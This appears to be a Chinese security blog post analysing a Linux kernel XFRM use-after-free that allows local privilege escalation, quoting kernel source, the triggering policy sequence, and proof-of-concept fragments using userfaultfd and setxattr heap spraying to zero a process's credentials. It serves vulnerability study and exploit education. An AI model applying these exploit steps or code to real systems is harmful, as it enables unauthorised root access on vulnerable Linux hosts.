一. 简介
这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x
漏洞成因,数组越界。需要插入用户定义的 index timer set。
XFRM_MSG_NEWSA请求的路径添加policy。
添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。
https://duasynt.com/blog/ubuntu-centos-redhat-privesc
二. uaf形成
通过两次add_policy, 释放后会导致其中一个bin 释放不完全。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | static int xfrm_add_policy(struct sk_buff * skb, struct nlmsghdr * nlh,
struct nlattr * * attrs)
{
struct net * net = sock_net(skb - >sk);
struct xfrm_userpolicy_info * p = nlmsg_data(nlh);
struct xfrm_policy * xp;
struct km_event c;
int err;
int excl;
err = verify_newpolicy_info(p); [ 1 ]
if (err)
return err;
err = verify_sec_ctx_len(attrs);
if (err)
return err;
c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01 - 0311 - 2018 rev 0.2
xp = xfrm_policy_construct(net, p, attrs, &err);
if (!xp)
return err;
excl = nlh - >nlmsg_type = = XFRM_MSG_NEWPOLICY;
err = xfrm_policy_insert(p - > dir , xp, excl); [ 2 ]
xfrm_audit_policy_add(xp, err ? 0 : 1 , true);
...
|
1 2 3 4 5 6 7 8 9 10 | static int verify_newpolicy_info(struct xfrm_userpolicy_info * p)
{
...
ret = verify_policy_dir(p - > dir ); [ 3 ]
if (ret)
return ret;
if (p - >index && ((p - >index & XFRM_POLICY_MAX) ! = p - > dir )) [ 4 ]
return - EINVAL;
return 0 ;
}
|
甚至在3.0版本中,根本没有检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | static int verify_policy_dir(u8 dir )
{
switch ( dir ) {
case XFRM_POLICY_IN:
case XFRM_POLICY_OUT:
case XFRM_POLICY_FWD:
break ;
default:
return - EINVAL;
}
return 0 ;
}
|
伪造index = 4 , direction = 0; 将可以通过所有的认证。
触发越界位于 xfrm_policy_timer函数中。
1 2 3 4 5 6 7 8 9 10 | if (unlikely(xp - >walk.dead))
goto out;
dir = xfrm_policy_id2dir(xp - >index); [ 5 ] index = 4 dir = 4
...
expired:
read_unlock(&xp - >lock);
if (!xfrm_policy_delete(xp, dir )) [ 6 ]
km_policy_expired(xp, dir , 1 , 0 );
xfrm_pol_put(xp);
}
|
1 2 3 4 5 6 | 其中 利用 xfrm_policy_id2dir();计算了direction。但是
static inline int xfrm_policy_id2dir(u32 index)
{
return index & 7 ;
}
|
4 & 7 = 4 ; [6]越界行为。 4 & 3 =0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | static struct xfrm_policy * __xfrm_policy_unlink(struct xfrm_policy * pol,
int dir )
{
struct net * net = xp_net(pol);
if (list_empty(&pol - >walk. all ))
return NULL;
/ * Socket policies are not hashed. * /
if (!hlist_unhashed(&pol - >bydst)) {
hlist_del_rcu(&pol - >bydst);
hlist_del(&pol - >byidx);
}
list_del_init(&pol - >walk. all );
net - >xfrm.policy_count[ dir ] - - ; [ 7 ]
return pol;
}
|
- The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 and
priority 0.
- The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) and
a timer set.
- XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.
- XFRM_FLUSH_POLICY request is issued freeing the first policy.
- Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in the
previous step
步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst
list:
大值意思是通过HTRESH刷新二次插入bydst。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | static void xfrm_hash_rebuild(struct work_struct * work)
{
...
/ * re - insert all policies by order of creation * /
list_for_each_entry_reverse(policy, &net - >xfrm.policy_all, walk. all ) {
if (policy - >walk.dead ||
xfrm_policy_id2dir(policy - >index) > = XFRM_POLICY_MAX) { [ 8 ]
/ * skip socket policies * /
continue ;
}
newpos = NULL;
chain = policy_hash_bysel(net, &policy - >selector,
policy - >family,
xfrm_policy_id2dir(policy - >index));
hlist_for_each_entry(pol, chain, bydst) {
if (policy - >priority > = pol - >priority)
newpos = &pol - >bydst;
else
break ;
}
if (newpos)
hlist_add_behind(&policy - >bydst, newpos);
else
hlist_add_head(&policy - >bydst, chain);
}
|
However, the second policy with index 4 (4 & 7 = 4 is
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.
setp 4: the request to flush policies frees the first policy in [9], leaving the second policy object in its own
disjoint state:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | int xfrm_policy_flush(struct net * net, u8 type , bool task_valid)
{
...
for ( dir = 0 ; dir < XFRM_POLICY_MAX; dir + + ) {
struct xfrm_policy * pol;
int i;
again1:
hlist_for_each_entry(pol,
&net - >xfrm.policy_inexact[ dir ], bydst) {
if (pol - > type ! = type )
continue ;
__xfrm_policy_unlink(pol, dir );
spin_unlock_bh(&net - >xfrm.xfrm_policy_lock);
cnt + + ;
xfrm_audit_policy_delete(pol, 1 , task_valid);
xfrm_policy_kill(pol); [ 9 ]
...
When the preset timer expires on the second policy, the following execution path calls the unlink operation
on the second policy leading to UAF write in [ 10 ]:
static struct xfrm_policy * __xfrm_policy_unlink(struct xfrm_policy * pol,
int dir )
{
struct net * net = xp_net(pol);
if (list_empty(&pol - >walk. all ))
return NULL;
/ * Socket policies are not hashed. * /
if (!hlist_unhashed(&pol - >bydst)) {
hlist_del_rcu(&pol - >bydst); [ 10 ]
hlist_del(&pol - >byidx);
}
list_del_init(&pol - >walk. all );
net - >xfrm.policy_count[ dir ] - - ;
return pol;
}
|
1 2 3 4 5 6 7 8 9 | hlist del rcu then executes hlist del on the bydst list pointer in the second policy object :
static inline void __hlist_del(struct hlist_node * n)
{
struct hlist_node * next = n - > next ;
struct hlist_node * * pprev = n - >pprev;
WRITE_ONCE( * pprev, next ); [ 11 ]
if ( next )
next - >pprev = pprev;
}
|
The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer
in the freed object gets overwritten with 0 (8-byte write) in [11].
期间,二次插入后效果如图,现在删除pol1。
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;
*pprev = next ==> pol2->next = NULL;
next->pprev = pprev 没有操作。
最终:
pol2->pprev = pol1。pol2还引用这释放后的pol1值。 堆喷站位。
删除pol2
next = pol2->next =NULL
pprev = pol2->pprev =pol1
pprev = next ==> pol1->next = NULL
next->pprev = pprev ==> 没有操作;
那么我们就可以在二次分配的内存中写入八字节的0; 也就是改写struct xfrm_policy 结构体的 位于bydst的元素。
也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。
二. poc实现利用
整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | static pthread_t spray_setxattr( int flag, int idx)
{
pthread_t ret;
void * addr;
addr = mmap(NULL, 0x1000 , 3 , 0x22 , - 1 , 0 ); / * TODO * /
if (!addr) {
perror( "mmap" );
exit( - 1 );
}
ret = uffd_setup(addr, 0x1000 , flag, idx);
sem_wait(&shmaddr[idx]);
if (flag) {
int c;
read(pipedes1[ 0 ], &c, 1 );
}
setxattr( "/etc/passwd" , "user.test" , addr, 0x400 , 1 ); / * TODO * /
return ret;
}
void * addr;
addr = (void * )(msg.arg.pagefault.address & 0xfffffffffffff000 );
sem_post(&shmaddr[idx + 1 ]);
int c;
read(pipedes0[ 0 ], &c, 1 );
struct uffdio_copy io_copy;
char src[ 0x1000 ];
io_copy.dst = (unsigned long )addr;
io_copy.src = (unsigned long )src;
io_copy. len = 0x1000 ;
io_copy.mode = 0 ;
if ((idx > (SEM_MAX - 1 )) || (idx < 205 )) {
sleep( 1 );
if ((ioctl(fd, UFFDIO_COPY, &io_copy)) ! = 0 )
perror( "UFFDIO_COPY" );
} else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) ! = 0 ) {
perror( "UFFDIO_COPY" );
}
sleep( 3 );
|
本来有个setup_sandbox启用子命名空间,但是被注释掉了。
对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。
开始没明白,后来看了这个 https://xz.aliyun.com/t/2814
原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。
while true; do ./test && break; done
三. 完成提权
大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,而且能不能提权全靠运气,但是大部分情况还真能。不得不服。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | struct cred {
atomic_t usage;
atomic_t subscribers; / * number of processes subscribed * /
void * put_addr;
unsigned magic;
uid_t uid; / * real UID of the task * /
gid_t gid; / * real GID of the task * /
uid_t suid; / * saved UID of the task * /
gid_t sgid; / * saved GID of the task * /
uid_t euid; / * effective UID of the task * /
gid_t egid; / * effective GID of the task * /
uid_t fsuid; / * UID for VFS ops * /
gid_t fsgid; / * GID for VFS ops * /
unsigned securebits; / * SUID - less security management * /
kernel_cap_t cap_inheritable; / * caps our children can inherit * /
kernel_cap_t cap_permitted; / * caps we're permitted * /
kernel_cap_t cap_effective; / * caps we can actually use * /
kernel_cap_t cap_bset; / * capability bounding set * /
......
};
|
1 2 3 4 5 6 7 8 9 10 | struct xfrm_policy {
struct net * xp_net;
struct hlist_node bydst;
struct hlist_node byidx;
.....
};
typedef __kernel_uid32_t uid_t;
|
cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。神奇的是发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。
参考:
1.https://duasynt.com/blog/ubuntu-centos-redhat-privesc
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2020-12-13 12:39
被inquisiter编辑
,原因: